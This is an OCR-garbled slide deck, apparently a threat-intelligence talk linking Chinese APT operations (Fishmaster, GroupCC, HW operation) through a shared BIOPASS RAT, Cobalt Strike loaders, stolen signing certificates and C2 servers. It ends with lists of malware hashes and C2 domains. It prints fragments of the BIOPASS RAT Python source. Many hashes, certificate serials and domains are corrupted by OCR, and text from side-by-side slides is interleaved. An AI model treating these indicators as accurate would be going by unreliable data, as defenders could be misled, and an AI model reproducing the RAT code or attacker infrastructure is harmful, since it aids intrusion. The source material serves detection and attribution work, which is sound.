
af30fcad3f142d6alhB67 21 eBfa3ach TGBedfcf47ef33c3aa97e9haf2e4al7E

injected l

New builder
of Shadowpad

cecdB27a1dBa385fd95ecifhy2adeaso R
Same PDB string

-

Same Xor key: l

Ox3A ﬁ

delehdh8f61a6569a367fd301db31096

Cobalt strike
payload

Funnyswitch
dropper which
injected funnydll

Fishmaster operation — TAG-22*

* https://www.recordedfuture.com/chinese-group-

cafal9dBbbb8b06a2b1278b9h3cab214  fB43eaaedbif55hBab5570ae0060280d  Sdfb7fE63cd291544h9dfdb3de25162f

B8dcd4576fa3fe33cchddE95cce79h6e 509h28d953e21a0240870845820127887¢C

==
93 180.156.77 \

£y £y
£

/

tag-22-targets-nepal-philippines-taiwan/



https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/

Fishmaster v.s GroupCC

Fishmaster operation — BIOPASS RAT*

Silverlight_ins.exe

cl222.txt

Online.txt

|
-3

415c0c382f4229764fch8f06cd7E00ba

'
3

97809p47693088230ffa7eB5570115b7

y

&

1f7fedaf@Ed 87 33cafe03fled460aa7

BIOPASS RAT Python Script (!

55

BrowserPlugin.exe /

£,

»

6247d13de803fefda319cBad4TEdfdR0

+'_'—-—-___________
_-_-_‘_‘_'_'—'—-—-_
[ ———
A favcOff2
e ﬁ;-‘

22f94c9a4f4d9ef4209c74286510b1 4&f

al online server)

[Emergency] Work-
over Well 105CTC-
01 - PVD 03 Rig on
28 July 2021.com

%
5 3

F_ |

0899adcay0f7 787 7hyaad74f012bdecd

»
w

ARGOS LABS

(C1222 module)

521991 c3cdbaeday30l 4cavy2

Htop6K4c.txt

*https://www.trendmicrofom/en_us/research/21/g
/biopass-rat-new- re-sniffs-victims-via-live-

streaming.html


https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html

Fishmaster

GroupCC

def handler(self, port): ) def handler(self, port):

ip_port = ('127.8.0.1', port) v ip_port = ('127.0.0.1', port)

back_log = 18 . back_log = 18

buffer_size = 1824 buffer_size = 1924

webserver = socket.socket(socket.AF_INET, socket.SOCK_STRE webserver = socket.socket(socket.AF_INET, socket.SOCK_STRE

webserver.bind(ip_port) webserver.bind(ip_port)

webserver.listen(back_log) webserver.listen(back_log)

while True: while True:

try: try:
conn, addr = webserver.accept() conn, addr = webserver.accept()
if port in self.ports: if port in self.ports:
self.init = True self.init = True
recvdata = conn.recv(buffer_size) recvdata = conn.recv(buffer_size)
conn.sendall(bytes("HTTP/1.1 280 OK\r\nAccess-Con" conn.sendall(bytes("HTTP/1.1 288 OK\r\nAccess-Cont
conn.sendall(bytes|("BSVO1"), "utf-8")) conn.sendall(bytes{"BPSV3", "utf-8"))
conn.close() conn.close()
except: except:
pass pass
o = online() o = online()
o.start() o.start()

BIOPASS RAT Python Script (local online server)




'

GroupCC

Fishmaster

1
import base64 import base64
import ctypes import ctypes
import os import os
import socket import socket
import sys import sys
import threading import threading
import time import time
import traceback import traceback
import urllib.request import urllib.request
dll_h = ctypes.windll.kernel32 dll_h = ctypes.windll.kernel32
if (dll_h.GetSystemDefaultUILanguage() != 2852): if (dll_h.GetSystemDefaultUILanguage() != 2852):
print(1) exit(e)
def xlog(title, content):
def xlog(title, content): try:
try: with open(os.path.join(os.getenv('temp'), |"pycs.txt'], "a
with open(os.path.join(os.getenv('temp'), |pycs.log'), "a- f.write("[{}] [{}]\t{}\n".format(time.strftime("%Y-%m-
f.write("[{}] [{}]I\t{}\n".format(time.strftime("%Y-%m- except:
except: pass

pass

BIOPASS RAT Python Script (C1222 module)




Fishmaster Used(stolen) certificate

+ Happytuk Co.,Ltd.
+ Serial Number : OE D4 DF 10 33 39 3F F2 AF 41 C5 71 A6 AA 19 D7

+ Rhaon Entertainment Inc
+ Serial Number : 06 80 8C 59 34 DA O3 6A 1297 A9 36 D7 2E 93 D4

58
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GroupCC Used(stolen) certificate

+ Quickteck.com
+ Serial Number : 70 D8 96 11 7E 15 30 2C 7E EF EC B2 89 B3 BF EO

o TAZIAF A E2|A| 2~ (Elysion Lab Co., Ltd.)
+ Serial Number : 03 D4 33 FD C2 46 9E O9F D8 78 C8 OB CO 54 51 47

+ ARGOS LABS
+ Serial Number : 00 F7 B7 5C 60 5B 00 83 95 73 8A AC 06 ABE3 B4 70

¢ 1.A Connect GmbH
+ Serial Number : 00 A7 E4 DE D4 BF 94 9D 15 AA 42 01 84 3F 1A B6 4D



Fishmaster v.s GroupCC

+ Shared Tool — Biopass RAT

o Similar TTPs
+ Uses some stolen or revoked certificare
+ Uses Legitimate installer (like Flash, Silverlight, BrowserPlugin)
+ Use aliyun as payload sites

60
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Amoeba v.s Fishmaster v.s GroupCC

¢ Amoeba v.s. Fishmaster
+ Two possibilities
+ Shared C2

+ 163.138.137.235
+ 93.180.156.77

+ Shared customized CoboltStrike
+ Xor key : Ox3A

+ Fishmaster v.s. GroupCC
+ Shared Tool : Biopass RAT
o Similar TTPs

+ Uses some stolen or revoked certificate
+ Uses Legitimate installer
+ Use aliyun as payload sites




Other operation
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* https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
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https://community.riskiq.com/article/56fa1b2f
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://www.virustotal.com/gui/search/name:security_audit_template_final.doc

#Goblin panda

Connection to
Gobling Panda or

Other Chinese APT

.f‘.l
J‘I

Gobling Pandz

A

might related to)

£

190978abBh419f99659651781acd4468

RisklQ: Adventures in Cookie La---

/

might related to /

0

207.148115.242

220
o
r’ﬁ\ prace.gleeze com
®
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o

trand.mefound.com

®

sysman.spdns.org

o
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®
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# https://community.riskig.com/article/56falb2f

5
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*RedFoxtrot
Drop PCshare

b98cfe7TeB6348d7f138fc118cc1 076

0

45.77.130.196

®

ftp.trand.mefound.com

Ly ¥
-—e

ns2.youfans.cluk

®

ns1.youfans.club

0

167.179.108.2

£

1d7e2aBcfeh668427198010a211hdeT1

related tof
|

£ (OF

-

www.alootikki.kozow.com

®

youfans.club

£

-
sgd.glkdd.ml

Mf3cfad765cTh2Bec8797diTe6ef58da

|
realated tof

4

5

HIGHNOOMN/AES

®

www.sinnb.com


https://community.riskiq.com/article/56fa1b2f
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf
https://www.virustotal.com/gui/search/name:security_audit_template_final.doc

HW operation(ZEfE1TE))

+ To detect the security issues of key national infrastructure, and to test their
event monitoring and ability to quickly coordinate with emergency incident

+ The target involves many industries, including government, finance, electricity,
and business key enterprises in China.

+ From OSINT, the operation started from 4/8 in 2021

“HW 2050 x T PR 48 B B 08 45 Bt B 1 AR

s EED ETAREEIHEG? s S XXXE E{L\\ﬁ
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2 3003 SRR EAY . ool iBAF 202011 8108 . Moo 17 7838
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@ 24 security vendors flagged this file as malicious

3 e FRARBMXLEERABRAT).exe

direct-cpu-clock-access  overlay peexe  runtime-modules

®  Community

e/751351b10b61549c6cs100de7546085600ee6ef050dbarb037852d3d8253b9460

@ 35 security vendors flagged this file as malicious

9d29e851c1a7df490ecle/cc?85313d97dc?454650466bc9810af8d43dM 1cbac?
CETEERSEARSRER E e

&64bits  assembly checks-network-adapters  direct-cpu-clock-access invalid-rich-
»  Community |/

Score
DETECTION DETAILS RELATIONS BEHAVIOR CONTENT
Submissions
Date Name Source Country
| 2021-04-26 01:00:39| lexe (B b5126aa8 -web  CN

%% <1361928261 1@139.c0m> wushang
AT (PEEHREEDSSEERAIATA—REHAE? 9B

AT (TEBUNEEE.. |
822 KB

]

ZEEERRRER - RIS E T TR 2R R R RALH
BoBEEEREEERAE A T A BRI AE) » BT LAEY

hEMIEGEIIEEERAE
[2021 &£ 4 A 20 H

Score
SUBMISSIONS DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS
Submissions
Date Name Source Country

| 2021-04-18 03:44:33 CEFEEEST RS E o2 TG Eene @. 1268dc5d - web CHN

@ 39 security vendors flagged this file as malicious

al7942ac53dabab7062a7d8121d31cab5661c397a702506d229ae972470133e3 765.50 KB

ReleaseFile.exe Size

assembly checks-user-input detect-debug-environment direct-cpu-clock-access peexe runtime-modules
% Community

Score

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT SUBMISSIONS COMMUNITY o

Submissions

Date Name Source Country

2021-04-16 07:15:19 EZRE (688608 ) HEAMNELSFRE EETATAEL  FIEFSAloTHR.exe @) 1132778 - web CN



Maybe link to HW operation

Cobalt strike loader in IR case
which use alaris loader with
resource png payload

£

a9f286e563c46044a12969834258e93¢c

Same loader

£ £

4598c75007h3cd766216086415cc4335 fdEae1h871374603620386a5e6454a84d

ARARBXLEEBRAT).exe

Funnyswitch

5

f85d1c2189e261d8d310199bbdda3849

Same unique
shellcode in
caculating
api hash

£3¥

Selc794e3f96hfh3043609536282:966

BHEPBELRSBRAT
RT R —E AL HIEYE

H.exe

Cobalt strike loader in IR case

which used early bird code injection

£

h028h4fB42136112485948¢ca7018a2h0

Same Cobalt
strike payloa
header

B £

2ph27d555452404398013hE65D 4693414 141df1 49fBba5e28068e30b1b5739dcs

CHLREBEBESFEITRE VPNZ— S 3 IEIAIE
BoETRIGH.exe ID.exe

66



Takeaway

+ Various kind of cobalt strike loader and some new attack techniques
+ New backdoor ex: Natwalk

+ C2 hiding techniques =22
+ Relation to other operations @e{ ~Winnti!

e /1’::‘

67



1OC

+ Chatloader

7ee9b79f4b5e19547707cbd960d4292f
F5158addf976243ffc19449e74c4bbad
1015fa861318acbbfd405e54620aa5e3
2l1d972a6aa398d0230e577227b28e499

o .NET loader

bd2d24f0ffa3d38cb5415b0de2f58bb3

+ Funnyswitch loader
€0a9d82b959222d9665c0b4e57594a75
07a61e3985b22ec859e09fal16fd28b85
d720ac7a6d054f87dbafb03e83bcb97c
F85d1c2189e261d8d3f0199bbdda3849
5b2a9a12d0c5d44537637cf04d93bec5

+ Early bird code injection loader
4598c75007b3cd766216086415cc4335
Fd6aelb8713746e3620386a5e6454a8d
b028b4f8421361f2485948ca7018a2b0

+ Natwalk

1d36404f85d94beabc976044cb342f24

7c6e75e70d29e77f78ea708e01e19¢c36

+ HIGHNOON loader

407b5200c061123c9bd32e7eea21a57b

5b99fa01c72cebc53a76¢cc72e9581189

+ Funnydll

€0a9d82b959222d9665c0b4e57594a75

+ Spyder

fba77006e8f8f3db6aac86211fa047fb

+ Shadowpad

af7cef9e0e6601caec068b73787e3ae81
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symantecupd.com

microsoftonlineupdate.dynamic-

dns.net

www.sinnb.com
pip.pythoncdn.com
img.hmmvm.com
reg.pythoncdn.com
bbwebt.com

nsl.tkti.me

test.tkti.me
nsl.microsofts.freeddns.com
api.aws3.workers.dev
nsl.hkserch.com
godaddyl.txwl.pw
godaddy2.txwl.pw
ns.cdn06.tk
update.facebookdocs.com

nsl.dns-dropbox.com

ns.cloud20.tk
ns.cloud01.tk
nsl.token.dnsO5.com
sculpture.nsO1l.info
work.cloud20.tk
work.cloudO1.tk
helpO1l.softether.net
cloud.api-json.workers.dev
update.microsoft-api.workers.dev
up.linux-headers.com
p.samkdd.com
nsl.microsoftskype.ml
nsl.hongk.cf

ns1l.163qq.cf

163qq.cf

depth.ddns.info
yjijdbpade.nslookup.club

ooliviaa.ddns.info
mootoorheaad.nsO1l.info
token.dns04.com
nsl.watson.misecure.com
vt.livehost.live
sociomanagement.com
nsl.hash-prime.com
wntc.livehost.live
smtp.biti.ph

perfeito.my
cdn.cdnfree.workers.dev
www.microsofthelp.dnsl.us
nsl.mssetting.com

www.corpsolution.net

www.mircoupdate.https443.net

publicca.twhinet.workers.dev

microgoogle.ml
www.google-dev.tk
api.gov-tw.workers.dev
103.255.179.54
www.omgod.org
154.223.175.70
687eb876e047 kasprsky.info
zk4c9u55.wikimedia.vip
193.38.54.110
api.aws3.workers.dev
4iiiessb.wikimedia.vip
45.32.123.1
158.247.215.150
ntp.windows-time.com

trulwkg5c.tg9f6zwkx.icu

windowsupdate.microsoft.365filtering.com

wustat.windows.365filtering.com

tiOwddsnv.wikimedia.vip
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